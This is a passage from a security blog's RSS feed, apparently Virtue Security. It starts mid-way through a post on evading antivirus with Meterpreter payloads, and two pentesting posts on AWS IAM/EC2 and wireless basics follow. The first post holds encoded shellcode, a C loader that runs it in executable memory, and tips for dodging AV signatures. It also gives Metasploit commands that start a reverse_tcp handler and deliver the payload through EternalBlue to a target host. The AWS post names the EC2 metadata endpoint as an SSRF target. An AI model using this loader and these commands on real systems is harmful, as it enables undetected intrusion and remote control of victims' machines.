<span class="line"><span style="color: #DCDCAA">&quot;\x27\xc4\x75\x2e\x13\x7a\x12\x7c\x46\x83\xd6\xcf\x18\x41\x1e&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x03\x74\xb6\xc7\x90\x7e\x22\x72\xfc\x59\x67\x84\xb5\xe6\x3e&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x47\xcd\xbb\xa2\xab\xa3\xb4\xfe\xc2\x6f\x38\x49\xf9\xec\x59&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x81\x15\x7b\x10\xc0\x3b\x05\xe1\x5c\xac\x08\x85\x2f\x3f\x90&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x29\x2e\xcd\xaa\x4e\x6f\x9f\x9c\xe9\x97\x96\x3f\xb0\xd4\xc1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x64\x22\x20\xe5\xdc\x5a\x0f\x7f\x77\x37\xd1\x51\x77\xa4\x10&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xed\x58\xd0\xbb\x62\xa9\x8f\x30\x8e\xa1\x1d\x0d\x73\x3d\x3f&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xcb\xf4\xfe\x06\x81\xc6\xf2\x03\xc7\x22\xf0\xeb\x0e\x61\xe6&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x5c\xc5&quot;</span><span style="color: #D4D4D4">;</span></span></code></pre></div>



<h3 class="wp-block-heading">Create a Visual Studio Project</h3>



<p>Open Visual Studio and press &#8220;Create a new project&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/visual-studio-create-project.png" alt="" class="wp-image-354"/></figure></div>


<p>Select &#8220;Empty project&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/visual-studio-create-empty-proect.png" alt="" class="wp-image-355"/></figure></div>


<p>Choose a project name and press &#8220;Create&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/create-project.png" alt="" class="wp-image-356"/ loading="lazy" class="lazyload"></figure></div>


<p>In &#8220;Source Files&#8221;, right click to add a &#8220;New item&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-new-item.png" alt="" class="wp-image-357"/ loading="lazy" class="lazyload"></figure></div>


<p>Select cpp file and name this &#8220;main.cpp&#8221;:</p>


        <figure class="blog-img no-br">
            <img width="941" height="653" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1.png" class="attachment-full size-full" alt="" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1.png 941w, https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1-300x208.png 300w, https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1-768x533.png 768w" sizes="(max-width: 941px) 100vw, 941px" / loading="lazy" class="lazyload">                    </figure>
    


<h3 class="wp-block-heading">Create a custom template</h3>



<p>In your main.cpp file we will paste the following code:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;

unsigned const char payload[] = &quot;&quot;;

size_t size = 0;

int main(int argc, char** argv) {

    char* code;

    printf(&quot;This is just a random string!\n&quot;);

    code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    memcpy(code, payload, size);

    ((void(*)())code)();

    return(0);
}" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #C586C0">#include</span><span style="color: #569CD6"> </span><span style="color: #CE9178">&lt;stdio.h&gt;</span></span>
<span class="line"><span style="color: #C586C0">#include</span><span style="color: #569CD6"> </span><span style="color: #CE9178">&lt;windows.h&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #569CD6">unsigned</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">char</span><span style="color: #D4D4D4"> payload[] = </span><span style="color: #CE9178">&quot;&quot;</span><span style="color: #D4D4D4">;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #569CD6">size_t</span><span style="color: #D4D4D4"> size = </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #569CD6">int</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">main</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">int</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">argc</span><span style="color: #D4D4D4">, </span><span style="color: #569CD6">char**</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">argv</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">char</span><span style="color: #D4D4D4">* code;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">printf</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;This is just a random string!</span><span style="color: #D7BA7D">\n</span><span style="color: #CE9178">&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    code = (</span><span style="color: #569CD6">char</span><span style="color: #D4D4D4">*)</span><span style="color: #DCDCAA">VirtualAlloc</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">NULL</span><span style="color: #D4D4D4">, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">memcpy</span><span style="color: #D4D4D4">(code, payload, size);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    ((</span><span style="color: #569CD6">void</span><span style="color: #D4D4D4">(*)())code)();</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4">(</span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>



<p>We just need to change two things:</p>



<p>1. Add the &#8220;Payload size&#8221; number (do not use the &#8220;Final size of c file&#8221;) from when we generated the payload. In this case it was 557 bytes:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/payload-size.png" alt="" class="wp-image-360"/ loading="lazy" class="lazyload"></figure></div>


<p>2. Replace the placeholder in payload[] with the shellcode generated in buf[]:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/shellcode.png" alt="" class="wp-image-361"/ loading="lazy" class="lazyload"></figure></div>


<p>3. Add some random text so we don&#8217;t all use the same signatures!</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/random-string.png" alt="" class="wp-image-362"/ loading="lazy" class="lazyload"></figure></div>


<p>4. In the build dropdown select release:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/visual-studio-release.png" alt="" class="wp-image-359"/ loading="lazy" class="lazyload"></figure></div>


<p>5. Hit Ctrl+B and your payload should be built!</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/project-executable.png" alt="" class="wp-image-363"/ loading="lazy" class="lazyload"></figure></div>


<p>Note: If you encounter errors regarding vcruntime140.dll the system may not have the Visual Studio Runtime installed; you may encounter this on minimally built server. To avoid this you can go to Project Properties and change the runtime library to <code>Multi-threaded (/MT)</code> which will create a statically linked binary. This however will be a larger binary and far more prone to detection by AV. Use this only as a last resort!</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/static-linked-payload.png" alt="" class="wp-image-364"/ loading="lazy" class="lazyload"></figure></div>


<h2 class="wp-block-heading">Starting a meterpreter handler</h2>



<p>On our attacking system we will now create a handler to accept incoming connection from our payload. We should ensure the IP and port are the same as used in previous steps:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="msf5 &gt; use exploit/multi/handler
msf5 exploit(multi/handler) &gt; set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =&gt; windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) &gt; set LHOST 10.0.0.5
LHOST =&gt; 10.0.0.5
msf5 exploit(multi/handler) &gt; set LPORT 9090
LPORT =&gt; 9090
msf5 exploit(multi/handler) &gt; exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.0.5:9090" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">msf5 &gt; use exploit/multi/handler</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; set </span><span style="color: #4FC1FF">PAYLOAD</span><span style="color: #D4D4D4"> windows/meterpreter/reverse_tcp</span></span>
<span class="line"><span style="color: #4FC1FF">PAYLOAD</span><span style="color: #D4D4D4"> =&gt; windows/meterpreter/reverse_tcp</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; set </span><span style="color: #4FC1FF">LHOST</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.5</span></span>
<span class="line"><span style="color: #4FC1FF">LHOST</span><span style="color: #D4D4D4"> =&gt; </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.5</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; set </span><span style="color: #4FC1FF">LPORT</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">9090</span></span>
<span class="line"><span style="color: #4FC1FF">LPORT</span><span style="color: #D4D4D4"> =&gt; </span><span style="color: #B5CEA8">9090</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(multi/handler) &gt; exploit -j</span></span>
<span class="line"><span style="color: #D4D4D4">[*] </span><span style="color: #4FC1FF">Exploit</span><span style="color: #D4D4D4"> running as background job </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">.</span></span>
<span class="line"><span style="color: #D4D4D4">[*] </span><span style="color: #4FC1FF">Exploit</span><span style="color: #D4D4D4"> completed, but no session was created.</span></span>
<span class="line"><span style="color: #D4D4D4">[*] </span><span style="color: #4FC1FF">Started</span><span style="color: #D4D4D4"> reverse </span><span style="color: #4FC1FF">TCP</span><span style="color: #D4D4D4"> handler on </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.5</span><span style="color: #D4D4D4">:</span><span style="color: #B5CEA8">9090</span></span></code></pre></div>



<p>To launch our shiny new payload as part of an exploit, we can use the <code>generic/custom</code> payload and specify the filename of our binary:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="msf5 &gt; use windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payload generic/custom
payload =&gt; generic/custom
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payloadfile /home/demo/Project1.exe
payloadfile =&gt; /home/demo/Project1.exe
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set RHOSTS 10.0.0.30
RHOSTS =&gt; 10.0.0.30
msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; exploit" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">msf5 &gt; use windows/smb/ms17_010_eternalblue</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payload generic/custom</span></span>
<span class="line"><span style="color: #D4D4D4">payload =&gt; generic/custom</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set payloadfile /home/demo/</span><span style="color: #4EC9B0">Project1</span><span style="color: #D4D4D4">.exe</span></span>
<span class="line"><span style="color: #D4D4D4">payloadfile =&gt; </span><span style="color: #D16969">/home/</span><span style="color: #D4D4D4">demo/</span><span style="color: #4EC9B0">Project1</span><span style="color: #D4D4D4">.exe</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; set </span><span style="color: #4FC1FF">RHOSTS</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.30</span></span>
<span class="line"><span style="color: #4FC1FF">RHOSTS</span><span style="color: #D4D4D4"> =&gt; </span><span style="color: #B5CEA8">10.0</span><span style="color: #D4D4D4">.</span><span style="color: #B5CEA8">0.30</span></span>
<span class="line"><span style="color: #D4D4D4">msf5 exploit(windows/smb/ms17_010_eternalblue) &gt; exploit</span></span></code></pre></div>
<p>The post <a href="https://www.virtuesecurity.com/evading-antivirus-with-better-meterpreter-payloads/">Evading Antivirus with Better Meterpreter Payloads</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1151</post-id>	</item>
		<item>
		<title>AWS EC2 Penetration Testing</title>
		<link>https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Sat, 28 Oct 2017 05:18:52 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">http://virtuesecurity.wpengine.com/?p=201</guid>

					<description><![CDATA[<p>Unlike ACLs and bucket policies, IAM policies are targeted at IAM users/groups instead of S3 buckets and objects.</p>
<p>The post <a href="https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/">AWS EC2 Penetration Testing</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>This article is part of a complete guide to <a href="https://www.virtuesecurity.com/aws-penetration-testing-essential-guidance/">AWS Penetration Testing</a>. We previously discussed <a href="https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/">S3 pentesting</a> and will now cover EC2 and IAM security policies.</p>



<h2 class="wp-block-heading">IAM Policies</h2>



<p>Unlike ACLs and bucket policies, IAM policies are targeted at IAM users/groups instead of S3 buckets and objects. Using an IAM policy, we can give an IAM user limited access to S3 resources (or any AWS service in general). The following is an example IAM policy:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="{
    &quot;Statement&quot;: [
        {
            &quot;Effect&quot;:&quot;Allow&quot;,
            &quot;Action&quot;: [
                &quot;s3:GetObject&quot;,
                &quot;s3:PutObject&quot;,
                &quot;s3:DeleteObject&quot;
            ],
            &quot;Resource&quot;:&quot;arn:aws:s3:::examplebucket/*&quot;
        }
    ]
}" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">{</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">&quot;Statement&quot;</span><span style="color: #D4D4D4">: [</span></span>
<span class="line"><span style="color: #D4D4D4">        {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #9CDCFE">&quot;Effect&quot;</span><span style="color: #D4D4D4">:</span><span style="color: #CE9178">&quot;Allow&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #9CDCFE">&quot;Action&quot;</span><span style="color: #D4D4D4">: [</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #CE9178">&quot;s3:GetObject&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #CE9178">&quot;s3:PutObject&quot;</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #CE9178">&quot;s3:DeleteObject&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">            ],</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #9CDCFE">&quot;Resource&quot;</span><span style="color: #D4D4D4">:</span><span style="color: #CE9178">&quot;arn:aws:s3:::examplebucket/*&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    ]</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>



<p>This gives the IAM user assigned that policy read access to any object stored in the “examplebucket” S3 bucket as well as the ability to create and delete objects.</p>



<p><em>Note:</em>&nbsp;The same tests for bucket policies are applied to IAM policies by the AWS Extender Burp extension; however, IAM user credentials must be supplied in this case.</p>



<h2 class="wp-block-heading">The Intersection of Access Control Mechanisms</h2>



<p>When more than one access control mechanism is applied, Amazon decides what to allow based on the union of all of them. For instance, if an IAM policy grants access to an object that a bucket policy denies, that object will not be accessible to the user as an explicit <code>DENY</code> rule always takes precedence over an <code>ALLOW</code> rule. And while any operation that does not have an appropriate <code>ALLOW</code> rule set is rejected by default, a lot of misconfiguration issues can arise due to various mistakes and misunderstandings on the bucket owner’s part; sometimes leaking very sensitive data publicly&nbsp;</p>



<p><sup>[4]</sup>. It’s also worth noting that Amazon S3 does not have a concept of hidden or internal buckets. As you might imagine, this creates an inherent security problem of bucket name enumeration, so some may consider that when choosing bucket names.</p>



<h2 class="wp-block-heading">EC2 Metadata IP</h2>



<p>AWS provides instance metadata for EC2 instances via a private HTTP interface only accessible to the virtual server itself. While this does not have any significance from an external perspective, it can however be a valuable feature to leverage in SSRF related attacks. The categories of metadata are exposed to all EC2 instances via the following URL:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="http://169.254.169.254/latest/meta-data/" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">http://169.254.169.254/latest/meta-data/</span></span></code></pre></div>


        <figure class="blog-img no-br">
            <img width="505" height="368" data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/aws-metadata-ip-1.png" class="attachment-full size-full" alt="AWS Metadata IP" srcset="https://www.virtuesecurity.com/wp-content/uploads/2017/10/aws-metadata-ip-1.png 505w, https://www.virtuesecurity.com/wp-content/uploads/2017/10/aws-metadata-ip-1-300x219.png 300w" sizes="(max-width: 505px) 100vw, 505px" / loading="lazy" class="lazyload">                    </figure>
    


<p>We commonly find that image and PDF rendering endpoints such as <a href="https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/">wkhtmltopdf</a> are susceptible to attacks such as this. If user generated content is used in conjunction with these utilities, it can be used as a vector to access this data.</p>



<h2 class="wp-block-heading">Cognito Authentication</h2>



<p>AWS provides the capability to fully manage authentication of application users via Cognito authentication. This can be integrated with large identity providers like Google, Facebook, Twitter, and custom interfaces as well. This functionality also supports access for anonymous access where anyone can request an access token.</p>



<p>Penetration testers should be aware of this behavior and be able to test for such cases. Our plugin has the capability to test for unauthenticated access when an identity pool is discovered in proxy traffic, however penetration testers should not rely on this scenario for test coverage. Identity pool IDs may often be encoded in token requests sent to <code>cognito-identity.amazonaws.com</code>. Awareness of this behavior is a critical first step to verifying unauthenticated Cognito access. In such situations the plugin can be forced to make the test case by sending the extracted pool ID to any request parameter to allow the plugin to detect it.</p>



<h2 class="wp-block-heading">Other Cloud Services</h2>



<p>Many of the behavior described so far in this series applies to the other major cloud services such as Google and Azure. In part 3 we will look at more examples of those and how they can be tested as well. Please check back shortly!</p>
<p>The post <a href="https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/">AWS EC2 Penetration Testing</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1149</post-id>	</item>
		<item>
		<title>Wireless Penetration Testing Guide: Part 1 – Intro And Basics</title>
		<link>https://www.virtuesecurity.com/wireless-penetration-testing-guide-part-1-intro-basics/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Sat, 28 Oct 2017 05:16:51 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">http://virtuesecurity.wpengine.com/?p=195</guid>

					<description><![CDATA[<p>Regardless if you work in Security, Compliance, IT, or management, it is a near 100% chance that you have encountered wireless networks in the enterprise before.</p>
<p>The post <a href="https://www.virtuesecurity.com/wireless-penetration-testing-guide-part-1-intro-basics/">Wireless Penetration Testing Guide: Part 1 – Intro And Basics</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Regardless if you work in Security, Compliance, IT, or management, it is a near 100% chance that you have encountered wireless networks in the enterprise before. Wireless networking has been around for quite some time and -in my experience- are given less consideration when it comes to configuration, deployment, and most importantly security. This is a problem, as a compromise of a company’s wireless network usually means access directly to the backbone of an organizations internal network and resources, among other things. This guide will take you through the how’s and why’s of wireless, in addition to teaching all of the most common (and some lesser known) attack vectors. We will also be covering Bluetooth, NFC, and some hash cracking in order to obtain a broader understanding and more effectively attacks against wireless systems.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/image1.png" alt="WiFi Antenna" class="wp-image-511"/ loading="lazy" class="lazyload"></figure></div>


<p>Firstly, let’s start off strong with a brief overview of the fundamentals of wireless network communications. Now I can understand that this part might be a bit dry, but it is definitely necessary to a full understanding of “the big picture”. In addition, I know that some of our readers might already know what is in this section, but a brief refresher never hurt anyone.</p>



<p>In general, there are 2 components to a basic wireless network; the Access Point (Referred to as the AP), and the client. The client and the access point create a connection between each other, and send each other wireless signals (Most commonly over 2.4 and 5Ghz) that are then interpreted on each end. These signals encapsulate packets and have a fixed structure that is dependent on the protocols that are used for that specific sort of communications. The AP then interprets these signals and (in most cases) converts them to regular network traffic, that is then either routed to other wireless clients, or back into the network that the AP is connected to.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/image2.jpg" alt="WiFi Diagram" class="wp-image-512"/ loading="lazy" class="lazyload"></figure></div>


<p>Now, with all of this data going over the air, anyone in range would be able to view and modify this traffic. That’s why different encryption methods have been devised to protect this traffic that is otherwise viewable by anyone with a good antenna and a bit of luck. A few of the most common encryption types are WPA, WPA2 (And variants), and WEP.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/image3.jpg" alt="Wireless frequencies" class="wp-image-513"/ loading="lazy" class="lazyload"></figure></div>


<p> Source:&nbsp;<a href="https://wigle.net/" target="_blank" rel="noopener noreferrer">https://wigle.net/</a></p>



<p>As you can see in the above graphic, over time there has been a shift in what protocols are used. In the infancy of wireless, there were only open (unencrypted) wireless networks, and WEP encrypted wireless networks, but as time went on, WPA and WPA2x gained popularity for reasons of security. In an open wireless network, any client can connect (also known as “associate”) with the wireless network as long as they are in range. In addition, even if a client is not associated with an open AP, they would still be able to see all traffic going over the air in essentially plain-text (when using special hardware detailed in pt. 2).</p>



